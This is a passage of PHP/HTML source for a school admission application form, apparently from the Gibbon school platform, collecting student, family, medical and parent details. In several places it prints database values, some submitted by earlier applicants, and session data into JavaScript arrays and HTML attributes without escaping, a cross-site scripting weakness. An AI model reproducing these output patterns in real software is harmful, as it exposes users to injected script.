<span style="font-size: 90%"><i><?php print _('Full name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input title='Please enter full name as shown in ID documents' name="officialName" id="officialName" maxlength=150 value="" type="text" style="width: 300px">
<script type="text/javascript">
var officialName=new LiveValidation('officialName');
officialName.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Name In Characters') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Chinese or other character-based name.') ?></i></span>
</td>
<td class="right">
<input name="nameInCharacters" id="nameInCharacters" maxlength=20 value="" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<b><?php print _('Gender') ?> *</b><br/>
</td>
<td class="right">
<select name="gender" id="gender" style="width: 302px">
<option value="Please select..."><?php print _('Please select...') ?></option>
<option value="F"><?php print _('Female') ?></option>
<option value="M"><?php print _('Male') ?></option>
</select>
<script type="text/javascript">
var gender=new LiveValidation('gender');
gender.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Date of Birth') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Format:') . " " . $_SESSION[$guid]["i18n"]["dateFormat"] ?></i></span>
</td>
<td class="right">
<input name="dob" id="dob" maxlength=10 value="" type="text" style="width: 300px">
<script type="text/javascript">
var dob=new LiveValidation('dob');
dob.add( Validate.Format, {pattern: <?php if ($_SESSION[$guid]["i18n"]["dateFormatRegEx"]=="") { print "/^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)\d\d$/i" ; } else { print $_SESSION[$guid]["i18n"]["dateFormatRegEx"] ; } ?>, failureMessage: "Use <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?>." } );
dob.add(Validate.Presence);
</script>
<script type="text/javascript">
$(function() {
$( "#dob" ).datepicker();
});
</script>
</td>
</tr>
<tr>
<td colspan=2>
<h4><?php print _('Student Background') ?></h4>
</td>
</tr>
<tr>
<td>
<b><?php print _('Home Language') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('The primary language used in the student\'s home.') ?></i></span>
</td>
<td class="right">
<input name="languageHome" id="languageHome" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageHome FROM <API key> ORDER BY languageHome" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageHome"] . "\", " ;
}
?>
];
$( "#languageHome" ).autocomplete({source: availableTags});
});
</script>
<script type="text/javascript">
var languageHome=new LiveValidation('languageHome');
languageHome.add(Validate.Presence);
</script>
</tr>
<tr>
<td>
<b><?php print _('First Language') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Student\'s native/first/mother language.') ?></i></span>
</td>
<td class="right">
<input name="languageFirst" id="languageFirst" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageFirst FROM <API key> ORDER BY languageFirst" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageFirst"] . "\", " ;
}
?>
];
$( "#languageFirst" ).autocomplete({source: availableTags});
});
</script>
<script type="text/javascript">
var languageFirst=new LiveValidation('languageFirst');
languageFirst.add(Validate.Presence);
</script>
</tr>
<tr>
<td>
<b><?php print _('Second Language') ?></b><br/>
</td>
<td class="right">
<input name="languageSecond" id="languageSecond" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageSecond FROM <API key> ORDER BY languageSecond" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageSecond"] . "\", " ;
}
?>
];
$( "#languageSecond" ).autocomplete({source: availableTags});
});
</script>
</tr>
<tr>
<td>
<b><?php print _('Third Language') ?></b><br/>
</td>
<td class="right">
<input name="languageThird" id="languageThird" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageThird FROM <API key> ORDER BY languageThird" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageThird"] . "\", " ;
}
?>
];
$( "#languageThird" ).autocomplete({source: availableTags});
});
</script>
</tr>
<tr>
<td>
<b><?php print _('Country of Birth') ?></b><br/>
</td>
<td class="right">
<select name="countryOfBirth" id="countryOfBirth" style="width: 302px">
<?php
try {
$dataSelect=array();
$sqlSelect="SELECT printable_name FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
print "<option value=''></option>" ;
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["printable_name"] . "'>" . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
?>
</select>
</td>
</tr>
<tr>
<td>
<b><?php print _('Citizenship') ?></b><br/>
</td>
<td class="right">
<select name="citizenship1" id="citizenship1" style="width: 302px">
<?php
print "<option value=''></option>" ;
$nationalityList=getSettingByScope($connection2, "User Admin", "nationality") ;
if ($nationalityList=="") {
try {
$dataSelect=array();
$sqlSelect="SELECT printable_name FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["printable_name"] . "'>" . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
}
else {
$nationalities=explode(",", $nationalityList) ;
foreach ($nationalities as $nationality) {
print "<option value='" . trim($nationality) . "'>" . trim($nationality) . "</option>" ;
}
}
?>
</select>
</td>
</tr>
<tr>
<td>
<b><?php print _('Citizenship Passport Number') ?></b><br/>
</td>
<td class="right">
<input name="<API key>" id="<API key>" maxlength=30 value="" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('National ID Card Number') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('ID Card Number') . "</b><br/>" ;
}
?>
</td>
<td class="right">
<input name="<API key>" id="<API key>" maxlength=30 value="" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('Residency/Visa Type') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('Residency/Visa Type') . "</b><br/>" ;
}
?>
</td>
<td class="right">
<?php
$residencyStatusList=getSettingByScope($connection2, "User Admin", "residencyStatus") ;
if ($residencyStatusList=="") {
print "<input name='residencyStatus' id='residencyStatus' maxlength=30 value='' type='text' style='width: 300px'>" ;
}
else {
print "<select name='residencyStatus' id='residencyStatus' style='width: 302px'>" ;
print "<option value=''></option>" ;
$residencyStatuses=explode(",", $residencyStatusList) ;
foreach ($residencyStatuses as $residencyStatus) {
$selected="" ;
if (trim($residencyStatus)==$row["residencyStatus"]) {
$selected="selected" ;
}
print "<option $selected value='" . trim($residencyStatus) . "'>" . trim($residencyStatus) . "</option>" ;
}
print "</select>" ;
}
?>
</td>
</tr>
<tr>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('Visa Expiry Date') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('Visa Expiry Date') . "</b><br/>" ;
}
print "<span style='font-size: 90%'><i>Format: " ; if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; } print ". " . _('If relevant.') . "</i></span>" ;
?>
</td>
<td class="right">
<input name="visaExpiryDate" id="visaExpiryDate" maxlength=10 value="" type="text" style="width: 300px">
<script type="text/javascript">
var visaExpiryDate=new LiveValidation('visaExpiryDate');
visaExpiryDate.add( Validate.Format, {pattern: <?php if ($_SESSION[$guid]["i18n"]["dateFormatRegEx"]=="") { print "/^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)\d\d$/i" ; } else { print $_SESSION[$guid]["i18n"]["dateFormatRegEx"] ; } ?>, failureMessage: "Use <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?>." } );
</script>
<script type="text/javascript">
$(function() {
$( "#visaExpiryDate" ).datepicker();
});
</script>
</td>
</tr>
<tr>
<td colspan=2>
<h4><?php print _('Student Contact') ?></h4>
</td>
</tr>
<tr>
<td>
<b><?php print _('Email') ?></b><br/>
</td>
<td class="right">
<input name="email" id="email" maxlength=50 value="" type="text" style="width: 300px">
<script type="text/javascript">
var email=new LiveValidation('email');
email.add(Validate.Email);
</script>
</td>
</tr>
<?php
for ($i=1; $i<3; $i++) {
?>
<tr>
<td>
<b><?php print _('Phone') ?> <?php print $i ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Type, country code, number.') ?></i></span>
</td>
<td class="right">
<input name="phone<?php print $i ?>" id="phone<?php print $i ?>" maxlength=20 value="" type="text" style="width: 160px">
<select name="phone<?php print $i ?>CountryCode" id="phone<?php print $i ?>CountryCode" style="width: 60px">
<?php
print "<option value=''></option>" ;
try {
$dataSelect=array();
$sqlSelect="SELECT * FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["iddCountryCode"] . "'>" . htmlPrep($rowSelect["iddCountryCode"]) . " - " . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
?>
</select>
<select style="width: 70px" name="phone<?php print $i ?>Type">
<option value=""></option>
<option value="Mobile"><?php print _('Mobile') ?></option>
<option value="Home"><?php print _('Home') ?></option>
<option value="Work"><?php print _('Work') ?></option>
<option value="Fax"><?php print _('Fax') ?></option>
<option value="Pager"><?php print _('Pager') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
</td>
</tr>
<?php
}
?>
<tr>
<td colspan=2>
<h4><?php print _('Student Medical & Development') ?></h4>
</td>
</tr>
<tr>
<td colspan=2 style='padding-top: 15px'>
<b><?php print _('Medical Information') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Please indicate any medical conditions.') ?></i></span><br/>
<textarea name="medicalInformation" id="medicalInformation" rows=5 style="width:738px; margin: 5px 0px 0px 0px"></textarea>
</td>
</tr>
<tr>
<td colspan=2 style='padding-top: 15px'>
<b><?php print _('Development Information') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Provide any comments or information concerning your child\'s development that may be relevant to your child\’s performance in the classroom or elsewhere? (Incorrect or withheld information may affect continued enrolment).') ?></i></span><br/>
<textarea name="<API key>" id="<API key>" rows=5 style="width:738px; margin: 5px 0px 0px 0px"></textarea>
</td>
</tr>
<tr>
<td colspan=2>
<h4><?php print _('Student Education') ?></h4>
</td>
</tr>
<tr>
<td>
<b><?php print _('Anticipated Year of Entry') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('What school year will the student join in?') ?></i></span>
</td>
<td class="right">
<select name="<API key>" id="<API key>" style="width: 302px">
<?php
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
try {
$dataSelect=array();
$sqlSelect="SELECT * FROM gibbonSchoolYear WHERE (status='Current' OR status='Upcoming') ORDER BY sequenceNumber" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) {
print "<div class='error'>" . $e->getMessage() . "</div>" ;
}
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["gibbonSchoolYearID"] . "'>" . htmlPrep($rowSelect["name"]) . "</option>" ;
}
?>
</select>
<script type="text/javascript">
var <API key>=new LiveValidation('<API key>');
<API key>.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Intended Start Date') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Student\'s intended first day at school.') ?><br/><?php print _('Format:') ?> <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?></i></span>
</td>
<td class="right">
<input name="dateStart" id="dateStart" maxlength=10 value="" type="text" style="width: 300px">
<script type="text/javascript">
var dateStart=new LiveValidation('dateStart');
dateStart.add( Validate.Format, {pattern: <?php if ($_SESSION[$guid]["i18n"]["dateFormatRegEx"]=="") { print "/^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)\d\d$/i" ; } else { print $_SESSION[$guid]["i18n"]["dateFormatRegEx"] ; } ?>, failureMessage: "Use <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?>." } );
dateStart.add(Validate.Presence);
</script>
<script type="text/javascript">
$(function() {
$( "#dateStart" ).datepicker();
});
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Year Group at Entry') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Which year level will student enter.') ?></i></span>
</td>
<td class="right">
<select name="<API key>" id="<API key>" style="width: 302px">
<?php
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
try {
$dataSelect=array();
$sqlSelect="SELECT * FROM gibbonYearGroup ORDER BY sequenceNumber" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) {
print "<div class='error'>" . $e->getMessage() . "</div>" ;
}
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["gibbonYearGroupID"] . "'>" . htmlPrep(_($rowSelect["name"])) . "</option>" ;
}
?>
</select>
<script type="text/javascript">
var <API key>=new LiveValidation('<API key>');
<API key>.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<?php
$dayTypeOptions=getSettingByScope($connection2, 'User Admin', 'dayTypeOptions') ;
if ($dayTypeOptions!="") {
?>
<tr>
<td>
<b><?php print _('Day Type') ?></b><br/>
<span style="font-size: 90%"><i><?php print getSettingByScope($connection2, 'User Admin', 'dayTypeText') ; ?></i></span>
</td>
<td class="right">
<select name="dayType" id="dayType" style="width: 302px">
<?php
$dayTypes=explode(",", $dayTypeOptions) ;
foreach ($dayTypes as $dayType) {
print "<option value='" . trim($dayType) . "'>" . trim($dayType) . "</option>" ;
}
?>
</select>
</td>
</tr>
<?php
}
?>
<tr>
<td colspan=2 style='padding-top: 15px'>
<b><?php print _('Previous Schools') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Please give information on the last two schools attended by the applicant.') ?></i></span>
</td>
</tr>
<tr>
<td colspan=2>
<?php
print "<table cellspacing='0' style='width: 100%'>" ;
print "<tr class='head'>" ;
print "<th>" ;
print _("School Name") ;
print "</th>" ;
print "<th>" ;
print _("Address") ;
print "</th>" ;
print "<th>" ;
print sprintf(_('Grades%1$sAttended'), "<br/>") ;
print "</th>" ;
print "<th>" ;
print sprintf(_('Language of%1$sInstruction'), "<br/>") ;
print "</th>" ;
print "<th>" ;
print _("Joining Date") . "<br/><span style='font-size: 80%'>" ; if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; } print "</span>" ;
print "</th>" ;
print "</tr>" ;
for ($i=1; $i<3; $i++) {
if ((($i%2)-1)==0) {
$rowNum="even" ;
}
else {
$rowNum="odd" ;
}
print "<tr class=$rowNum>" ;
print "<td>" ;
print "<input name='schoolName$i' id='schoolName$i' maxlength=50 value='' type='text' style='width:120px; float: left'>" ;
print "</td>" ;
print "<td>" ;
print "<input name='schoolAddress$i' id='schoolAddress$i' maxlength=255 value='' type='text' style='width:120px; float: left'>" ;
print "</td>" ;
print "<td>" ;
print "<input name='schoolGrades$i' id='schoolGrades$i' maxlength=20 value='' type='text' style='width:70px; float: left'>" ;
print "</td>" ;
print "<td>" ;
print "<input name='schoolLanguage$i' id='schoolLanguage$i' maxlength=50 value='' type='text' style='width:100px; float: left'>" ;
?>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT schoolLanguage" . $i . " FROM <API key> ORDER BY schoolLanguage" . $i ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["schoolLanguage" . $i] . "\", " ;
}
?>
];
$( "#schoolLanguage<?php print $i ?>" ).autocomplete({source: availableTags});
});
</script>
<?php
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "schoolDate$i" ?>" id="<?php print "schoolDate$i" ?>" maxlength=10 value="" type="text" style="width:90px; float: left">
<script type="text/javascript">
$(function() {
$( "#<?php print "schoolDate$i" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "</tr>" ;
}
print "</table>" ;
?>
</td>
</tr>
<?php
//FAMILY
try {
$dataSelect=array("gibbonPersonID"=>$gibbonPersonID);
$sqlSelect="SELECT * FROM gibbonFamily JOIN gibbonFamilyAdult ON (gibbonFamily.gibbonFamilyID=gibbonFamilyAdult.gibbonFamilyID) WHERE gibbonFamilyAdult.gibbonPersonID=:gibbonPersonID ORDER BY name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
if ($public==TRUE OR $resultSelect->rowCount()<1) {
?>
<input type="hidden" name="gibbonFamily" value="FALSE">
<tr class='break'>
<td colspan=2>
<h3>
<?php print _('Home Address') ?>
</h3>
<p>
<?php print _('This address will be used for all members of the family. If an individual within the family needs a different address, this can be set through Data Updater after admission.') ?>
</p>
</td>
</tr>
<tr>
<td>
<b><?php print _('Home Address') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Unit, Building, Street') ?></i></span>
</td>
<td class="right">
<input name="homeAddress" id="homeAddress" maxlength=255 value="" type="text" style="width: 300px">
<script type="text/javascript">
var homeAddress=new LiveValidation('homeAddress');
homeAddress.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Home Address (District)') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('County, State, District') ?></i></span>
</td>
<td class="right">
<input name="homeAddressDistrict" id="homeAddressDistrict" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT name FROM gibbonDistrict ORDER BY name" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["name"] . "\", " ;
}
?>
];
$( "#homeAddressDistrict" ).autocomplete({source: availableTags});
});
</script>
<script type="text/javascript">
var homeAddressDistrict=new LiveValidation('homeAddressDistrict');
homeAddressDistrict.add(Validate.Presence);
</script>
</tr>
<tr>
<td>
<b><?php print _('Home Address (Country)') ?> *</b><br/>
</td>
<td class="right">
<select name="homeAddressCountry" id="homeAddressCountry" style="width: 302px">
<?php
try {
$dataSelect=array();
$sqlSelect="SELECT printable_name FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["printable_name"] . "'>" . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
?>
</select>
<script type="text/javascript">
var homeAddressCountry=new LiveValidation('homeAddressCountry');
homeAddressCountry.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<?php
if (isset($_SESSION[$guid]["username"])) {
$start=2 ;
?>
<tr class='break'>
<td colspan=2>
<h3>
<?php print _('Parent/Guardian 1') ?>
<?php
if ($i==1) {
print "<span style='font-size: 75%'></span>" ;
}
?>
</h3>
</td>
</tr>
<tr>
<td>
<b><?php print _('Username') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('System login ID.') ?></i></span>
</td>
<td class="right">
<input readonly name='parent1username' maxlength=30 value="<?php print $_SESSION[$guid]["username"] ?>" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<b><?php print _('Surname') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Family name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input readonly name='parent1surname' maxlength=30 value="<?php print $_SESSION[$guid]["surname"] ?>" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<b><?php print _('Preferred Name') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Most common name, alias, nickname, etc.') ?></i></span>
</td>
<td class="right">
<input readonly name='<API key>' maxlength=30 value="<?php print $_SESSION[$guid]["preferredName"] ?>" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<b><?php print _('Relationship') ?> *</b><br/>
</td>
<td class="right">
<select name="parent1relationship" id="parent1relationship" style="width: 302px">
<option value="Please select..."><?php print _('Please select...') ?></option>
<option value="Mother"><?php print _('Mother') ?></option>
<option value="Father"><?php print _('Father') ?></option>
<option value="Step-Mother"><?php print _('Step-Mother') ?></option>
<option value="Step-Father"><?php print _('Step-Father') ?></option>
<option value="Adoptive Parent"><?php print _('Adoptive Parent') ?></option>
<option value="Guardian"><?php print _('Guardian') ?></option>
<option value="Grandmother"><?php print _('Grandmother') ?></option>
<option value="Grandfather"><?php print _('Grandfather') ?></option>
<option value="Aunt"><?php print _('Aunt') ?></option>
<option value="Uncle"><?php print _('Uncle') ?></option>
<option value="Nanny/Helper"><?php print _('Nanny/Helper') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
<script type="text/javascript">
var parent1relationship=new LiveValidation('parent1relationship');
parent1relationship.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<input name='<API key>' value="<?php print $gibbonPersonID ?>" type="hidden">
<?php
}
else {
$start=1 ;
}
for ($i=$start;$i<3;$i++) {
?>
<tr class='break'>
<td colspan=2>
<h3>
<?php print _('Parent/Guardian') ?> <?php print $i ?>
<?php
if ($i==1) {
print "<span style='font-size: 75%'> (e.g. mother)</span>" ;
}
else if ($i==2 AND $gibbonPersonID=="") {
print "<span style='font-size: 75%'> (e.g. father)</span>" ;
}
?>
</h3>
</td>
</tr>
<?php
if ($i==2) {
?>
<tr>
<td class='right' colspan=2>
<script type="text/javascript">
/* Advanced Options Control */
$(document).ready(function(){
$("#secondParent").click(function(){
if ($('input[name=secondParent]:checked').val()=="No" ) {
$(".secondParent").slideUp("fast");
$("#parent2title").attr("disabled", "disabled");
$("#parent2surname").attr("disabled", "disabled");
$("#parent2firstName").attr("disabled", "disabled");
$("#<API key>").attr("disabled", "disabled");
$("#parent2officialName").attr("disabled", "disabled");
$("#<API key>").attr("disabled", "disabled");
$("#parent2gender").attr("disabled", "disabled");
$("#parent2relationship").attr("disabled", "disabled");
$("#<API key>").attr("disabled", "disabled");
$("#<API key>").attr("disabled", "disabled");
$("#parent2citizenship1").attr("disabled", "disabled");
$("#<API key>").attr("disabled", "disabled");
$("#<API key>").attr("disabled", "disabled");
$("#<API key>").attr("disabled", "disabled");
$("#parent2email").attr("disabled", "disabled");
$("#parent2phone1Type").attr("disabled", "disabled");
$("#<API key>").attr("disabled", "disabled");
$("#parent2phone1").attr("disabled", "disabled");
$("#parent2phone2Type").attr("disabled", "disabled");
$("#<API key>").attr("disabled", "disabled");
$("#parent2phone2").attr("disabled", "disabled");
$("#parent2profession").attr("disabled", "disabled");
$("#parent2employer").attr("disabled", "disabled");
}
else {
$(".secondParent").slideDown("fast", $(".secondParent").css("display","table-row"));
$("#parent2title").removeAttr("disabled");
$("#parent2surname").removeAttr("disabled");
$("#parent2firstName").removeAttr("disabled");
$("#<API key>").removeAttr("disabled");
$("#parent2officialName").removeAttr("disabled");
$("#<API key>").removeAttr("disabled");
$("#parent2gender").removeAttr("disabled");
$("#parent2relationship").removeAttr("disabled");
$("#<API key>").removeAttr("disabled");
$("#<API key>").removeAttr("disabled");
$("#parent2citizenship1").removeAttr("disabled");
$("#<API key>").removeAttr("disabled");
$("#<API key>").removeAttr("disabled");
$("#<API key>").removeAttr("disabled");
$("#parent2email").removeAttr("disabled");
$("#parent2phone1Type").removeAttr("disabled");
$("#<API key>").removeAttr("disabled");
$("#parent2phone1").removeAttr("disabled");
$("#parent2phone2Type").removeAttr("disabled");
$("#<API key>").removeAttr("disabled");
$("#parent2phone2").removeAttr("disabled");
$("#parent2profession").removeAttr("disabled");
$("#parent2employer").removeAttr("disabled");
}
});
});
</script>
<span style='font-weight: bold; font-style: italic'>Do not include a second parent/gaurdian <input id='secondParent' name='secondParent' type='checkbox' value='No'/></span>
</td>
</tr>
<?php
}
?>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td colspan=2>
<h4><?php print _('Parent/Guardian') ?> <?php print $i ?> <?php print _('Personal Data') ?></h4>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Title') ?> *</b><br/>
<span style="font-size: 90%"><i></i></span>
</td>
<td class="right">
<select style="width: 302px" id="<?php print "parent$i" ?>title" name="<?php print "parent$i" ?>title">
<option value="Please select..."><?php print _('Please select...') ?></option>
<option value="Ms.">Ms.</option>
<option value="Miss">Miss</option>
<option value="Mr.">Mr.</option>
<option value="Mrs.">Mrs.</option>
<option value="Dr.">Dr.</option>
</select>
<script type="text/javascript">
var <?php print "parent$i" ?>title=new LiveValidation('<?php print "parent$i" ?>title');
<?php print "parent$i" ?>title.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Surname') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Family name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>surname" id="<?php print "parent$i" ?>surname" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>surname=new LiveValidation('<?php print "parent$i" ?>surname');
<?php print "parent$i" ?>surname.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('First Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('First name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>firstName" id="<?php print "parent$i" ?>firstName" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>firstName=new LiveValidation('<?php print "parent$i" ?>firstName');
<?php print "parent$i" ?>firstName.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Preferred Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Most common name, alias, nickname, etc.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>preferredName" id="<?php print "parent$i" ?>preferredName" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>preferredName=new LiveValidation('<?php print "parent$i" ?>preferredName');
<?php print "parent$i" ?>preferredName.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Official Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Full name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input title='Please enter full name as shown in ID documents' name="<?php print "parent$i" ?>officialName" id="<?php print "parent$i" ?>officialName" maxlength=150 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>officialName=new LiveValidation('<?php print "parent$i" ?>officialName');
<?php print "parent$i" ?>officialName.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Name In Characters') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Chinese or other character-based name.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>nameInCharacters" id="<?php print "parent$i" ?>nameInCharacters" maxlength=20 value="" type="text" style="width: 300px">
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Gender') ?> *</b><br/>
</td>
<td class="right">
<select name="<?php print "parent$i" ?>gender" id="<?php print "parent$i" ?>gender" style="width: 302px">
<option value="Please select..."><?php print _('Please select...') ?></option>
